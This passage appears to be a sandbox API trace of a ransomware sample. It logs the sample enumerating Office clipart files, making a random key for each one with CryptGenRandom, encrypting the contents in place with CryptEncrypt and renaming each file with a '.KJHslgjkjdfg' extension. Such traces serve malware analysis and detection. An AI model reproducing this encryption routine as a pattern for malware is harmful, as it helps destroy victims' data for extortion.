lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.336] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.336] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.336] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa04, lpOverlapped=0x0) returned 1 [0205.336] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa10, dwBufLen=0xa10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa10) returned 1 [0205.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.336] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa10, lpOverlapped=0x0) returned 1 [0205.337] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.337] SetEndOfFile (hFile=0x130) returned 1 [0205.338] GetProcessHeap () returned 0x990000 [0205.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.338] GetProcessHeap () returned 0x990000 [0205.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.kjhslgjkjdfg")) returned 1 [0205.340] CloseHandle (hObject=0x130) returned 1 [0205.340] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0205.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.341] GetProcessHeap () returned 0x990000 [0205.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.341] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.341] GetProcessHeap () returned 0x990000 [0205.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.342] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.344] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.344] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.344] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.344] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x70f0, lpOverlapped=0x0) returned 1 [0205.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x70f0, dwBufLen=0x70f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x70f0) returned 1 [0205.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.346] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x70f0, lpOverlapped=0x0) returned 1 [0205.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x71c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.347] SetEndOfFile (hFile=0x130) returned 1 [0205.348] GetProcessHeap () returned 0x990000 [0205.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.348] GetProcessHeap () returned 0x990000 [0205.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.kjhslgjkjdfg")) returned 1 [0205.350] CloseHandle (hObject=0x130) returned 1 [0205.350] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0205.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.351] GetProcessHeap () returned 0x990000 [0205.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.351] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.351] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.354] GetProcessHeap () returned 0x990000 [0205.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.354] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.354] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.355] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.355] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.355] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.355] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16ae, lpOverlapped=0x0) returned 1 [0205.356] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16b0) returned 1 [0205.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.356] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16b0, lpOverlapped=0x0) returned 1 [0205.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.356] SetEndOfFile (hFile=0x130) returned 1 [0205.359] GetProcessHeap () returned 0x990000 [0205.359] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.359] GetProcessHeap () returned 0x990000 [0205.359] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.kjhslgjkjdfg")) returned 1 [0205.361] CloseHandle (hObject=0x130) returned 1 [0205.361] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0205.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.362] GetProcessHeap () returned 0x990000 [0205.362] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.362] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0205.364] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.364] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.364] GetProcessHeap () returned 0x990000 [0205.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.364] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.364] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.365] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.365] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.365] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.365] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4732, lpOverlapped=0x0) returned 1 [0205.366] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4740, dwBufLen=0x4740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4740) returned 1 [0205.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.366] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4740, lpOverlapped=0x0) returned 1 [0205.366] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.366] SetEndOfFile (hFile=0x130) returned 1 [0205.369] GetProcessHeap () returned 0x990000 [0205.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.369] GetProcessHeap () returned 0x990000 [0205.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.kjhslgjkjdfg")) returned 1 [0205.371] CloseHandle (hObject=0x130) returned 1 [0205.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0205.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.372] GetProcessHeap () returned 0x990000 [0205.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.372] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.372] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0205.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.375] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.375] GetProcessHeap () returned 0x990000 [0205.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.375] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.375] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.375] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.376] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.376] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6bf6, lpOverlapped=0x0) returned 1 [0205.377] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6c00, dwBufLen=0x6c00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6c00) returned 1 [0205.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.377] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 